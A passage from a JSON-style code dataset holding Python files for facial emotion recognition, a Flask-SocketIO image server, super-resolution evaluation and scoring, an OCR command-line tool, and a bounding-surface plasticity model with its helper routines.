minNeighbors=5,\n\t\t\tminSize=(30, 30), flags=cv2.CASCADE_SCALE_IMAGE)\n\n for face_coordinates in faces:\n\n x1, x2, y1, y2 = apply_offsets(face_coordinates, emotion_offsets)\n gray_face = gray_image[y1:y2, x1:x2]\n try:\n gray_face = cv2.resize(gray_face, (emotion_target_size))\n except:\n continue\n\n gray_face = preprocess_input(gray_face, True)\n gray_face = np.expand_dims(gray_face, 0)\n gray_face = np.expand_dims(gray_face, -1)\n with graph.as_default():\n emotion_prediction = emotion_classifier.predict(gray_face)\n emotion_probability = np.max(emotion_prediction)\n emotion_label_arg = np.argmax(emotion_prediction)\n emotion_text = emotion_labels[emotion_label_arg]\n emotion_window.append(emotion_text)\n\n if len(emotion_window) > frame_window:\n emotion_window.pop(0)\n try:\n emotion_mode = mode(emotion_window)\n except:\n continue\n\n if emotion_text == 'angry':\n color = emotion_probability * np.asarray((255, 0, 0))\n elif emotion_text == 'sad':\n color = emotion_probability * np.asarray((0, 0, 255))\n elif emotion_text == 'happy':\n color = emotion_probability * np.asarray((255, 255, 0))\n elif emotion_text == 'surprise':\n color = emotion_probability * np.asarray((0, 255, 255))\n else:\n color = emotion_probability * np.asarray((0, 255, 0))\n\n color = color.astype(int)\n color = color.tolist()\n\n draw_bounding_box(face_coordinates, rgb_image, color)\n draw_text(face_coordinates, rgb_image, emotion_mode,\n color, 0, -45, 1, 1)\n\n bgr_image = cv2.cvtColor(rgb_image, cv2.COLOR_RGB2BGR)\n return bgr_image\n", "id": "1902041", "language": "Python", "matching_score": 1.7926015853881836, "max_stars_count": 5, "path": "Server/emotions.py" }, { "content": "from flask import Flask\nfrom flask_socketio import SocketIO, send\nimport io\nimport base64\nimport cv2\nfrom imageio import imread\n\nfrom emotions import final_ml_predict as ml_predict\n\napp = Flask(__name__)\nsocketio = SocketIO(app)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello World!\"\n\n\n@socketio.on('json', namespace=r'/ml')\ndef mlhandler(message):\n # print('Got image')\n image = message['image']\n img = imread(io.BytesIO(base64.b64decode(image)))\n cv2_img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n cv_result = ml_predict(cv2_img)\n _, buffer = cv2.imencode('.jpg', cv_result)\n result_im = base64.b64encode(buffer).decode('UTF-8')\n # print('Result: ')\n # print(result_im[:20])\n\n send({'result': result_im})\n\n\nif __name__ == '__main__':\n socketio.run(app, port=8000)\n", "id": "2975619", "language": "Python", "matching_score": 1.1830066442489624, "max_stars_count": 5, "path": "Server/server.py" }, { "content": "\"\"\"\r\n@project: mobile_sr_evaluation\r\n@author: sfzhou\r\n@file: utils.py\r\n@ide: PyCharm\r\n@time: 2019/5/14 16:55\r\n\r\n\"\"\"\r\nimport numpy as np\r\nimport math\r\nfrom skimage.measure import compare_ssim\r\nimport torch\r\nfrom collections import OrderedDict\r\nimport cv2\r\nimport os\r\n\r\ndef psnr(img1, img2):\r\n assert img1.dtype == img2.dtype == np.uint8, 'np.uint8 is supposed.'\r\n img1 = img1.astype(np.float64)\r\n img2 = img2.astype(np.float64)\r\n mse = np.mean((img1 - img2)**2)\r\n if mse == 0:\r\n return float('inf')\r\n return 20 * math.log10(255.0 / math.sqrt(mse))\r\n\r\n\r\ndef ssim(img1, img2, multichannel=True):\r\n assert img1.dtype == img2.dtype == np.uint8, 'np.uint8 is supposed.'\r\n return compare_ssim(img1, img2, multichannel=multichannel)\r\n\r\ndef load_state_dict(path):\r\n\r\n state_dict = torch.load(path, map_location='cpu')\r\n new_state_dcit = OrderedDict()\r\n for k, v in state_dict.items():\r\n if 'module' in k:\r\n name = k[7:]\r\n else:\r\n name = k\r\n new_state_dcit[name] = v\r\n return new_state_dcit\r\n\r\ndef sr_forward_psnr(dataloader, model, device, crop_boarder, save_path=None):\r\n\r\n psnrs = []\r\n ssims = []\r\n for b, (lr_imgs, hr_imgs) in enumerate(dataloader):\r\n\r\n lr_imgs = lr_imgs.to(device)\r\n sr_imgs = model(lr_imgs)\r\n\r\n for i in range(sr_imgs.size(0)):\r\n sr_img = sr_imgs[i,:,:,:]\r\n hr_img = hr_imgs[i,:,:,:]\r\n sr_img = sr_img.cpu().mul(255).clamp(0,255).byte().squeeze().permute(1,2,0).numpy()\r\n hr_img = hr_img.cpu().mul(255).clamp(0,255).byte().squeeze().permute(1,2,0).numpy()\r\n\r\n if save_path:\r\n sr_img = cv2.cvtColor(sr_img, cv2.COLOR_RGB2BGR)\r\n hr_img = cv2.cvtColor(hr_img, cv2.COLOR_RGB2BGR)\r\n\r\n cv2.imwrite(os.path.join(save_path,'SR', '{:04d}.jpg'.format(b+1)), sr_img)\r\n cv2.imwrite(os.path.join(save_path,'GT', '{:04d}.jpg'.format(b+1)), hr_img)\r\n\r\n\r\n sr_img = sr_img[crop_boarder:-crop_boarder, crop_boarder:-crop_boarder, :]\r\n hr_img = hr_img[crop_boarder:-crop_boarder, crop_boarder:-crop_boarder, :]\r\n\r\n psnrs.append(psnr(sr_img, hr_img))\r\n ssims.append(ssim(sr_img, hr_img))\r\n\r\n avg_psnr = np.mean(psnrs)\r\n avg_ssim = np.mean(ssims)\r\n\r\n return avg_psnr, avg_ssim\r\n\r\n\r\ndef sr_forward_time(dataloader, model, device):\r\n\r\n cuda_time = 0.0\r\n for lr_imgs, hr_imgs in dataloader:\r\n\r\n lr_imgs = lr_imgs.to(device)\r\n start_event = torch.cuda.Event(enable_timing=True)\r\n end_event = torch.cuda.Event(enable_timing=True)\r\n start_event.record()\r\n sr_imgs = model(lr_imgs)\r\n\r\n end_event.record()\r\n torch.cuda.synchronize(device)\r\n\r\n cuda_time += start_event.elapsed_time(end_event)\r\n\r\n return cuda_time\r\n", "id": "8541920", "language": "Python", "matching_score": 2.3558828830718994, "max_stars_count": 33, "path": "AlgorithmChanllengeProject/evaluation_Agora_0903/utils/util.py" }, { "content": "\"\"\"\r\n@project: mobile_sr_evaluation\r\n@author: sfzhou\r\n@file: evaluation.py\r\n@ide: PyCharm\r\n@time: 2019/5/14 15:32\r\n\r\n\"\"\"\r\nimport argparse\r\nimport torch\r\nfrom utils.dataloader import TestDataset\r\nfrom torch.utils.data import DataLoader\r\nfrom utils.util import load_state_dict, sr_forward_psnr, sr_forward_time\r\nfrom torchprofile import profile_macs as profile\r\nimport os\r\nimport importlib\r\n\r\n\r\ndef parser_args():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--test_model', type=str,default='test')\r\n parser.add_argument('--model_path', type=str, default='pre-train-model/test.pth', help='path of checkpoint of test model')\r\n parser.add_argument('--baseline_path', type=str, default='pre-train-model/baseline.pth', help='path of checkpoint of baseline')\r\n\r\n parser.add_argument('--LR_path', type=str, default='D:\\\\Works\\\\Files\\\\RTC_2020\\\\RTC_data\\\\interpolate\\\\test_3\\\\LR', help='path of the LR images')\r\n parser.add_argument('--HR_path', type=str, default='D:\\\\Works\\\\Files\\\\RTC_2020\\\\RTC_data\\\\interpolate\\\\test_3\\\\HR', help='path of the HR images')\r\n parser.add_argument('--upscale', type=int, default=2, help='scale factor for up-sample LR image ')\r\n parser.add_argument('--cuda', type=bool, default=True, help='whether use cuda or not')\r\n\r\n parser.add_argument('--alpha', type=float, default=2, help='the weight of alpha')\r\n parser.add_argument('--beta', type=float, default=4, help='the weight of beta')\r\n parser.add_argument('--gamma', type=float, default=1.2, help='the weight of gamma')\r\n parser.add_argument('--batch_size', type=int, default=1, help='batch size of inference')\r\n parser.add_argument('--cycle_num', type=int, default=5, help='the number of repeat running model')\r\n\r\n\r\n\r\n return parser.parse_args()\r\n\r\n\r\ndef evaluation(opt):\r\n\r\n device = torch.device('cuda' if opt.cuda else 'cpu')\r\n\r\n alpha = opt.alpha\r\n beta = opt.beta\r\n gamma = opt.gamma\r\n cycle_num = opt.cycle_num\r\n\r\n crop_boarder = opt.upscale\r\n\r\n # load dataset\r\n dataset = TestDataset(opt.HR_path, opt.LR_path)\r\n dataloader = DataLoader(dataset, batch_size=opt.batch_size, shuffle=False)\r\n test_times = 0.0\r\n\r\n module = importlib.import_module('model.{}'.format(opt.test_model))\r\n test_model = module.model(opt.upscale)\r\n state_dict = load_state_dict('pre-train-model/{}.pth'.format(opt.test_model))\r\n test_model.load_state_dict(state_dict)\r\n test_model = test_model.to(device)\r\n test_model.eval()\r\n\r\n # load baseline\r\n module = importlib.import_module('model.{}'.format('baseline'))\r\n baseline_model = module.model(opt.upscale)\r\n baseline_dict = load_state_dict(opt.baseline_path)\r\n baseline_model.load_state_dict(baseline_dict)\r\n baseline_model = baseline_model.to(device)\r\n baseline_model.eval()\r\n\r\n\t#calc FLOPs\r\n width = 360\r\n height = 240\r\n\r\n inputs = torch.randn(1, 3, height, width).to(device)\r\n macs = profile(test_model.to('cuda'), inputs)\r\n print('{:.4f} G'.format(macs / 1e9))\r\n if (macs/1e9)>2.0:\r\n print('model GFLOPs is more than 2\\n')\r\n exit(-1)\r\n\r\n\r\n save_path = 'results/{}'.format(opt.test_model)\r\n if not os.path.exists(save_path):\r\n os.mkdir(save_path)\r\n os.mkdir(os.path.join(save_path, 'SR'))\r\n os.mkdir(os.path.join(save_path, 'GT'))\r\n\r\n\r\n\r\n\r\n test_psnr, test_ssim = sr_forward_psnr(dataloader, test_model, device, crop_boarder, save_path)\r\n baseline_psnr, baseline_ssim = sr_forward_psnr(dataloader, baseline_model, device, crop_boarder)\r\n time_scores = 0\r\n test_times = 0\r\n baseline_times = 0\r\n for index in range(cycle_num):\r\n\r\n test_time = sr_forward_time(dataloader, test_model, device)\r\n test_times += test_time\r\n baseline_time = sr_forward_time(dataloader, baseline_model, device)\r\n baseline_times += baseline_time\r\n\r\n #time_score = gamma * min((baseline_time - test_time) / baseline_time, 2)\r\n\r\n #time_scores += time_score\r\n\r\n #avg_time_score = (time_scores / cycle_num) \r\n avg_test_time = (test_times / cycle_num) // 100\r\n avg_baseline_time = (baseline_times / cycle_num) // 100\r\n avg_time_score = gamma * min((avg_baseline_time - avg_test_time)/avg_baseline_time,2)\r\n\r\n score = alpha * (test_psnr - baseline_psnr) + beta * (test_ssim - baseline_ssim) + avg_time_score\r\n\r\n print('model: {}'.format(opt.test_model))\r\n print('test model: {:.4f}, base model: {:.4f}, psnr: {:.4f}'.format(test_psnr, baseline_psnr, alpha * (test_psnr-baseline_psnr)))\r\n print('test model: {:.4f}, base model: {:.4f}, ssim: {:.4f}'.format(test_ssim, baseline_ssim, beta * (test_ssim-baseline_ssim)))\r\n print('test model: {:.4f} ms, base model: {:.4f} ms, time: {:.4f} ms'.format(avg_test_time*100, avg_baseline_time*100, avg_time_score))\r\n print('score: {:.4f}'.format(score))\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n opt = parser_args()\r\n evaluation(opt)", "id": "5296834", "language": "Python", "matching_score": 2.239997148513794, "max_stars_count": 33, "path": "AlgorithmChanllengeProject/evaluation_Agora_0903/evaluation.py" }, { "content": "import argparse\nimport daiguaocr\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"Process DaiguaOCR.\")\n parser.add_argument(\n \"-l\",\n \"--lang\",\n nargs='+',\n required=True,\n type=str,\n help=\"for languages\",\n )\n parser.add_argument(\n \"-f\",\n \"--file\",\n required=True,\n type=str,\n help=\"input file\",\n )\n parser.add_argument(\n \"--detail\",\n type=int,\n choices=[0, 1],\n default=1,\n help=\"simple output (default: 1)\",\n )\n parser.add_argument(\n \"--gpu\",\n type=bool,\n choices=[True, False],\n default=True,\n help=\"Using GPU (default: True)\",\n )\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = parse_args()\n reader = daiguaocr.Reader(lang_list=args.lang, gpu=args.gpu)\n for line in reader.readtext(args.file, detail=args.detail):\n print(line)\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "2927371", "language": "Python", "matching_score": 1.5465713739395142, "max_stars_count": 33, "path": "SDKChallengeProject/[DaiGua]Post-it Notes/daiguaOCR/cli.py" }, { "content": "from .daiguaocr import Reader\n\n__version__ = '1.1.7'\n", "id": "2325792", "language": "Python", "matching_score": 0.09242581576108932, "max_stars_count": 33, "path": "SDKChallengeProject/[DaiGua]Post-it Notes/daiguaOCR/__init__.py" } ]
1.320352
JustinBonus
[ { "content": "def evalH(param, kappa):\n #s = evalH(param, kappa) returns the value of H=h*kappa^m (AKA exponential hardening moduli)\n if kappa < 0:\n s = 1.0e-10\n return s\n s = param.hh*(kappa)**param.mm\n return s\n", "id": "5431850", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "Library/evalH.py" }, { "content": "def GetJ2(A): \n if A.shape == (3,3):\n #This is just to remain consistent with the MATLAB file, will revamp\n m = 1/3 * (A[0,0]+A[1,0]+A[2,0])\n hold = np.zeros((6,1))\n hold[0] = A[0,0] - m \n hold[1] = A[1,0] - m\n hold[2] = A[2,0] - m\n out = 0.5 * (hold[0]*hold[0] + hold[1]*hold[1] + hold[2]*hold[2] + 2*(A[0,1]*A[0,1] + A[1,1]*A[1,1] + A[2,1]*A[2,1]))\n out = out[0]\n elif A.shape == (6,) or A.shape == (6,1) or A.shape == (1,6): \n #J2 of 6x1 and 1x6 inputs\n A = A.reshape(6,1) #force 6x1 dimension for calculation\n m = 1/3 * (A[0] + A[1] + A[2])\n hold = np.zeros((6,1))\n hold[0] = A[0] - m \n hold[1] = A[1] - m\n hold[2] = A[2] - m\n out = 0.5 * (hold[0]*hold[0] + hold[1]*hold[1] + hold[2]*hold[2] + 2*(A[3]*A[3] + A[4]*A[4] + A[5]*A[5]))\n out = out[0]\n return out\n\n", "id": "1589972", "language": "Python", "matching_score": 0.8747430443763733, "max_stars_count": 0, "path": "Library/GetJ2.py" }, { "content": "def convert2StressLike(A):\n #stress = normS(A) .. returns a stress like second order tesnor A\n # (in stress type storage)\n if A.shape == (3,3):\n #tensor represented as 3x3 matrix\n hold = A\n elif A.shape == (6,1) or A.shape == (6,) or A.shape == (1,6):\n #tensor represented as 6x1 or 1x6\n A = A.reshape(6,1)\n hold = np.zeros((6,1))\n hold[0] = A[0]\n hold[1] = A[1]\n hold[2] = A[2]\n hold[3] = 0.5*A[3]\n hold[4] = 0.5*A[4]\n hold[5] = 0.5*A[5]\n else:\n print('Unsupported representation of second order tensor in convert2StressLike()')\n return hold\n", "id": "11863906", "language": "Python", "matching_score": 1.7859313488006592, "max_stars_count": 0, "path": "Library/convert2StressLike.py" }, { "content": "def normE(A):\n #val = normE(A) returns the norm of a second order tensor A (strain type)\n if A.shape == (3,3):\n #tensor represented as 3x3\n A2 = np.zeros((3,3))\n A2 = sum(A[i]*A[i] for i in range(0,len(A)))\n val = np.sqrt(sum(A2))\n elif A.shape == (6,1) or A.shape == (6,) or A.shape == (1,6):\n A = A.reshape(6,1)\n A2 = np.zeros((6,1))\n for i in range(0,len(A)):\n A2[i] = A[i]*A[i] \n val = np.sqrt(sum(A2[i] for i in range(0,3)) + 0.5*sum(A2[i] for i in range(3,6)))\n elif A.shape == (3,1) or A.shape == (3,) or A.shape == (1,3):\n #tensor represented as 3x1 or 1x3\n A = A.reshape(3,1)\n A2 = np.zeros(3).reshape(3,1)\n for i in range(0,len(A)):\n A2[i] = A[i]*A[i]\n val = np.sqrt(sum(A2[i] for i in range(0,3)))\n else:\n print('Unsupported representation of second order tensor in normE()')\n val = 0\n return val\n", "id": "11237963", "language": "Python", "matching_score": 0.7288681268692017, "max_stars_count": 0, "path": "normE.py" }, { "content": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import Slider, Button, RadioButtons\n\ndef update(val):\n\t# Update Resolution from slider\n\tRes = sRes.val\n\t# Clear and repopulate axes\n\taxes.clear()\n\tdraw()\t\n\t\n\t# Draw new resolution grid\n\tfor r in range(0,int(Res)+1):\n\t\txline = [-R,R]\n\t\tyline = [-R + r*2*R/(Res),-R + r*2*R/(Res)]\n\t\taxes.plot(xline, yline, color='black', linestyle='--')\n\t\tyline = [-R,R]\n\t\txline = [-R + r*2*R/(Res),-R + r*2*R/(Res)]\n\t\taxes.plot(xline, yline, color='black', linestyle='--')\n\n\tfig.canvas.draw_idle()\n\ndef draw():\n\t# Bounding Surface\n\taxes.plot(xx,yy, color='black',label='Bounding Surface', linewidth=3)\n\n\t# Principle stress axis\n\taxes.arrow(0,0,0,1.2*R,width=.003*R,head_width=.005,head_length=.005, color='gray',linestyle=':')\n\taxes.arrow(0,0,1.4*np.sqrt(2/3)*R,-np.sqrt(1/3)*R,width=.003*R,head_width=.005,head_length=.005, color='gray',linestyle='--')\n\taxes.arrow(0,0,1.4*-np.sqrt(2/3)*R,-np.sqrt(1/3)*R,width=.003*R,head_width=.005,head_length=.005, color='gray',linestyle='--')\n\taxes.text(0, 1.2*R, '$\\sigma_1\\'$', color = 'gray')\n\taxes.text(1.2*np.sqrt(2/3)*R, -np.sqrt(1/3)*R, '$\\sigma_2\\'$', color = 'gray')\n\taxes.text(1.2*-np.sqrt(2/3)*R, -np.sqrt(1/3)*R, '$\\sigma_3\\'$', color = 'gray')\n\n\t# Orgin \\Pi Axis\n\taxes.text(0,0,'O$\\Pi$',fontsize=18)\n\taxes.arrow(0,0,R/2,0,width=.005*R,head_width=.05*R,head_length=.05*R, color='black')\n\taxes.arrow(0,0,0,R/2,width=.005*R,head_width=.05*R,head_length=.05*R, color='black')\n\taxes.text(0, R/2 + 0.05*R, '$x$', color = 'black')\n\taxes.text(R/2 + 0.05*R, 0, '$y$', color = 'black')\n\t\n\t# Array \\Pi Axis\n\taxes.text(-R,R, 'A$\\Pi$', fontsize=18)\n\taxes.arrow(-R,R,R/2,0,width=.005*R,head_width=.05*R,head_length=.05*R, color='black')\n\taxes.arrow(-R,R,0,-R/2,width=.005*R,head_width=.05*R,head_length=.05*R, color='black')\n\taxes.text(-R/2 + 0.05*R, R, '$i$', color = 'black')\n\taxes.text(-R - 0.05*R, R/2 - 0.1*R, '$j$', color = 'black')\n\n\t# Axis settings\n\taxes.set_xlim(-(5/4)*R,(5/4)*R)\n\taxes.set_xticks([-R,0,R])\n\taxes.set_xticklabels(['R','0','R'])\n\taxes.set_ylim(-(5/4)*R,(5/4)*R)\n\taxes.set_yticks([-R,0,R])\n\taxes.set_yticklabels(['R','0','R'])\n\taxes.grid(False)\n\n\tplt.show()\n\n\n# ---------------------------------------------------------------------\n\nR = 0.1 # Initial bounding surface radius\nRes0 = 10 # Initial Resolution\n\n# Set up figure\nfig, axes = plt.subplots(1,1)\n\n# Bounding surface coordinates\nrr = np.linspace(0,2*np.pi,360)\nxx = R*np.sin(rr)\nyy = R*np.cos(rr)\n\n# Set up resolution slider\naxcolor = 'white'\naxRes = plt.axes([0.2, 0.9, 0.65, 0.03], facecolor=axcolor)\nsRes = Slider(axRes, 'Resolution', 1, 100, valinit=Res0, valstep=1)\nsRes.on_changed(update)\n\n# Draw initial resolution grid\nfor r in range(0,Res0+1):\n\txline = [-R,R]\n\tyline = [-R + r*2*R/(Res0),-R + r*2*R/(Res0)]\n\taxes.plot(xline, yline, color='black', linestyle='--')\n\tyline = [-R,R]\n\txline = [-R + r*2*R/(Res0),-R + r*2*R/(Res0)]\n\taxes.plot(xline, yline, color='black', linestyle='--')\n\n# Draw axes\ndraw()\n\nplt.show()\n\n", "id": "5964089", "language": "Python", "matching_score": 0.8555160164833069, "max_stars_count": 0, "path": "visSpaces.py" }, { "content": "def BSDriver(LoadCase):\n # BoundingSurface J2 with kinematic hardening \n # Written by <NAME>, Mar. 22 2019\n # Copyright Arduino Computational Geomechanics Group\n # Ported into Python/Jupyter Notebook by <NAME>, Jul. 2019\n #\n #\n # LoadCase:\n # 1 ... proportionally increasing strain\n # 2 ... cyclic strain\n # 3 ... proportionally increasing stress\n # 4 ... cyclic stress\n #\n # ====== LOADING CASES ==================================================\n \n import numpy as np\n from collections import namedtuple\n \n nPoints = 200\n\n ## Switch for LoadCases:\n ## Pseudo-switch created by using python dictionary to hold LoadCase functions\n def case_one():\n case_one.time = np.linspace(0,1,nPoints+1)\n case_one.strain = np.array([ 0.05, -0.015, -0.015, 0.000, 0.000, 0.000 ]).reshape(6,1) * case_one.time\n case_one.StressDriven = 0\n return case_one\n def case_two():\n nCycles = 3\n omega = 0.15\n case_two.time = np.linspace(0,nCycles*2*np.pi/omega,nCycles*nPoints+1);\n case_two.strain = np.array([ 0.00, -0.000, -0.000, 0.045, 0.000, 0.000 ]).reshape(6,1) * np.sin( omega*case_two.time ) \n case_two.StressDriven = 0 \n return case_two\n def case_three():\n case_three.time = np.linspace(0,1,nPoints+1) \n case_three.stress = np.array([[0.100],\n [0.000],\n [0.000],\n [0.000],\n [0.000],\n [0.000]])*case_three.time + 0.0*np.array([1,1,1,0,0,0]).reshape(6,1)*np.ones( case_three.time.shape ) \n case_three.StressDriven = 1 \n return case_three\n def case_four():\n nCycles = 3\n omega = 0.15\n case_four.time = np.linspace(0, nCycles*2*np.pi/omega, nCycles*nPoints+1)\n case_four.stress = np.array([[0.000],\n [0.000],\n [0.000], #.01, .03, -.01, .05, 0, -.02\n [0.050],\n [0.000],\n [0.000]])*np.sin( omega*case_four.time ) + 0.0*np.array([1,1,1,0,0,0]).reshape(6,1)*np.ones( case_four.time.shape ) \n case_four.StressDriven = 1 \n return case_four\n\n case_switcher = {\n 1: case_one,\n 2: case_two,\n 3: case_three,\n 4: case_four\n } \n\n case = case_switcher.get(LoadCase, lambda: \"Invalid LoadCase\")\n case() #Runs the LoadCase function. Creates: case.time, case.strain | case.stress, case.StressDriven\n time, StressDriven = case.time, case.StressDriven \n if StressDriven:\n stress = case.stress\n strain = np.zeros((6,1)) #initialize empty 6x1 strain numpy array for stress-driven scenario\n else:\n strain = case.strain\n stress = np.zeros((6,1)) #initialize empty 6x1 stress numpy array for strain-driven scenario\n \n Stress0 = np.zeros((6,1)) #Initialize first 'unloading' point\n StrainDriven = int(not StressDriven)\n\n # ========================================================================\n # ---- MATERIAL PARAMETERS\n # Static Parameters\n\n # Static Parameters\n E = 20 #Elastic Modulus MPa\n v= 0.49 #Poissons ratio, less than 0.5 to allow compresibility\n G = E/(2*(1+v)) #Shear modulus\n K = E/(3*(1-2*v)) #Bulk modulus\n Kmod = 0 #Isotropic Hardening\n Su = 0.061 #Yield stress in 1-D tension test MPa\n hh = G #kinematic hardening parameter\n mm = 1.0 #kinematic hardening parameter\n beta = 0.5 #midpoint integration\n RR = np.sqrt(8/3)*Su\n\n #namedtuple used to organzie related variables, similar to a structure\n static = namedtuple('StaticParam',['E','v','G','K','Kmod','Su','hh','mm','beta','RR'])\n StaticParam = static(E,v,G,K,Kmod,Su,hh,mm,beta,RR)\n\n\n # ========================================================================\n # ---- INITIAL CONDITIONS\n\n # Initialize the state variables\n if StrainDriven:\n IniStress = -0.0*(np.array([1, 1, 1, 0, 0, 0]).reshape(6,1))\n IniStrain = np.linalg.solve(GetCe(StaticParam), IniStress) #Check if GetCe compacts to nxn\n elif StressDriven:\n IniStress = 0.0*(np.array([1, 1, 1, 0, 0, 0]).reshape(6,1))\n IniStrain = 0.0*(np.array([1, 1, 1, 0, 0, 0]).reshape(6,1)) \n\n #Structure for IniState (initial state parameters, static) and CurState (changing state parameters)\n state = namedtuple('state', ['eP','alphaISO','Stress0', 'Kappa', 'Psi'])\n \n eP = 0.0*(np.array([1, 1, 1, 0, 0, 0]).reshape(6,1))\n alphaISO = 0.0 \n Stress0 = 0.0*(np.array([1, 1, 1, 0, 0, 0]).reshape(6,1))\n Kappa = 0.0\n Psi = 0.0\n IniState = state(eP, alphaISO, Stress0, Kappa, Psi)\n\n # For first iteration\n CurStress = IniStress\n CurStrain = IniStrain\n CurState = IniState\n\n # Variables used for plotting\n alphaISO_plot, j2_plot, j2e_plot, stress_var_plot, stress_var2_plot = [], [], [], [], [] #Initiliaze list format\n alphaISO_plot.append(0) #Python list allows for easy data addition\n strain[:,0] = CurStrain.T - IniStrain.T \n stress[:,0] = CurStress.T\n j2_plot.append(0)\n j2e_plot.append(0)\n stress_var_plot.append(0)\n Stress0[:,0] = CurStress.T\n Iter = np.zeros(time.shape)\n\n\n # ========================================================================\n # ---- COMPUTATION CYCLES\n\n if StrainDriven:\n #StrainDriven\n for i in range(1, (len(strain[0]) )):\n\n NextStrain = strain[:,i] + IniStrain.T\n dStrain = strain[:,i] - strain[:, i-1] #Driving variable\n \n #Current BSRadialMap is a function, will be transformed into a class eventually\n NextStress, NextState, NextCep = BSRadialMap(dStrain, StaticParam, CurStress, CurState)\n\n # Update Stress, Strain, and State\n CurStress = NextStress\n CurState = NextState\n \n # Variables created for plotting purposes\n alphaISO_plot.append(CurState.alphaISO)\n stress = np.append(stress, CurStress, 1)\n j2_plot.append(GetJ2(CurStress))\n stress_var_plot.append(np.sqrt(2*j2_plot[i])*np.sqrt(3/2)*np.sign(stress[0,i] - stress[1,i]))\n stress_var2_plot.append((stress[0,i] - stress[1,i]))\n Stress0 = np.append(Stress0, CurState.Stress0, 1)\n \n elif StressDriven:\n # StressDriven driver\n # set tolerance value for iterative procedure(s)\n TOLERANCE = 1e-10 \n\n for i in range(0, len(stress[0])-1):\n\n # initialize strain epsilon_{n+1}^{(0)} = eps_{n} using the old state\n # (this is the initial approximation for eps_{n+1}\n if i == 0:\n # special settings for initial values at t_1\n NextStrain = np.array([0,0,0,0,0,0]).reshape(6,1)\n dStrain = np.array([0,0,0,0,0,0]).reshape(6,1)\n CurState = IniState\n else:\n NextStrain = CurStrain\n dStrain = np.array([0,0,0,0,0,0]).reshape(6,1)\n\n NextStress, NextState, Cep = BSRadialMap(dStrain, StaticParam, CurStress, CurState)\n\n RR = stress[:, i].reshape(6,1) - NextStress\n RR = RR.reshape(6,1)\n RR0 = normS(RR)\n\n # reset iteration counter\n kk = 0\n # iterate until convergence\n while normS(RR)/RR0 > TOLERANCE:\n \n # update strain from eps_{n+1}^{(k)} to eps_{n+1}^{(k+1)}\n dStrain = np.linalg.solve(Cep, RR)\n NextStrain = NextStrain + dStrain\n\n # compute material response for estimated strain state\n # NOTE: the state variables are taken at t_n\n NextStress, NextState, Cep = BSRadialMap(dStrain, StaticParam, CurStress, CurState)\n #print('NextStress:',NextStress)\n #print('Stress0:',NextState.Stress0)\n # check for equilibrium\n RR = stress[:,i].reshape(6,1) - NextStress\n RR = RR.reshape(6,1)\n kk = kk + 1\n # emergence exit if procedure does not converge \n if kk > 3:\n print('procedure slow to converge. Error : ', normS( RR )/RR0)\n \n if kk > 20:\n print('procedure did not converge. Error : ', normS( RR )/RR0)\n print('YOUR TANGENT Cep IS WRONG', normS( RR )/RR0)\n break\n\n Iter[i] = kk\n CurStress = NextStress\n CurState = NextState\n\n\n # Update State variables for next step\n CurStress = NextStress\n CurStrain = NextStrain\n CurState = NextState\n\n # Update variables for plotting purposes\n strain = np.append(strain, CurStrain, 1)\n alphaISO_plot.append(CurState.alphaISO)\n j2_plot.append(GetJ2(CurStress))\n stress_var_plot.append(np.sqrt(2*j2_plot[i])*np.sqrt(3/2)*np.sign(stress[3,i]))\n Stress0 = np.append(Stress0, CurState.Stress0, 1)\n \n DriverOutput = namedtuple('DriverOutput',['StaticParam','time','strain','stress','alphaISO','j2','stress_var','stress_var2', 'Stress0','Iter'])\n DriverOutput = DriverOutput(StaticParam, time, strain, stress, alphaISO_plot, j2_plot, stress_var_plot, stress_var2_plot, Stress0, Iter)\n \n return DriverOutput\n \n # =========================================================================\n", "id": "7275181", "language": "Python", "matching_score": 1.8525683879852295, "max_stars_count": 0, "path": "BSDriver.py" }, { "content": "def GetCe(mStatic):\n # Create the Elastic 4th Order Modulus\n # elastic stiffness tensor (matrix_hh)\n a = 2*mStatic.G \n b = mStatic.K - a/3 # K + 4/3G\n #b = mStatic.E / (3 - 6*mStatic.v) - a / 3;\n #mC = np.array([[np.multiply(a, np.eye(3)) + np.multiply(b, np.ones((3,3))), np.zeros((3,3))],\n # [np.zeros((3,3)) , np.multiply(mStatic.G, np.eye(3))]])\n mC = 3*mStatic.K*GetIvol() + 2*mStatic.G*GetIdev() \n return mC\n", "id": "11621511", "language": "Python", "matching_score": 0.3010728061199188, "max_stars_count": 0, "path": "Library/GetCe.py" }, { "content": "def BSRadialMap(dStrain, StaticParam, CurStress, CurState):\n # Radial Return Algorithm for J2 Bounding Surface Plasticity Model \n # Borja and Amies 1994\n # Written by <NAME>\n # Copyright - Arduino Computational Geomechanics Group\n # March, 2019\n # Ported into Python/Jupyter Notebook by <NAME>\n # July, 2019\n #\n # Input:\n # dStrain ... Strain differential, tn to tn+1\n # StaticParam.E ... Young's modulus\n # StaticParam.v ... poissons ratio\n # StaticParam.G ... Shear modulus\n # StaticParam.K ... Bulk modulus\n # StaticParam.hh ... Kinematic Hardening parameter\n # StaticParam.mm ... Kinematic hardening parameter\n # StaticParam.beta ... Integration parameter (0=expl, 1=impl)\n # StaticParam. RR ... Bounding surface radius\n # CurStress ... Stress at tn\n # CurState.eP ... Plastic strain at tn\n # CurState.alphaISO ... Isotropic internal variable at tn\n ## CurState.alphaKIN ... Kinematic internal variablen at tn\n # CurState.Stress0 ... Stress point at unloading\n #\n # Output:\n # NextStress ... Stress at tn+1\n # CurState.eP ... Plastic strain at tn\n # CurState.alphaISO ... Isotropic internal variable at tn+1\n # CurState.alphaKIN ... Kinematic internal variablen at tn+1\n # Cep ... Consistent tangent modulus\n\n #Static Parameters\n G = StaticParam.G\n K = StaticParam.K\n mm = StaticParam.mm\n hh = StaticParam.hh\n beta = StaticParam.beta\n RR = StaticParam.RR\n\n tol_rel = 1.0e-10\n meye = np.eye(6,1); meye[1]=1; meye[2]=1 \n small = 1.0e-10\n debugFlag = 1 #Set 0 for true, 1 for false\n\n Ce = GetCe(StaticParam)\n 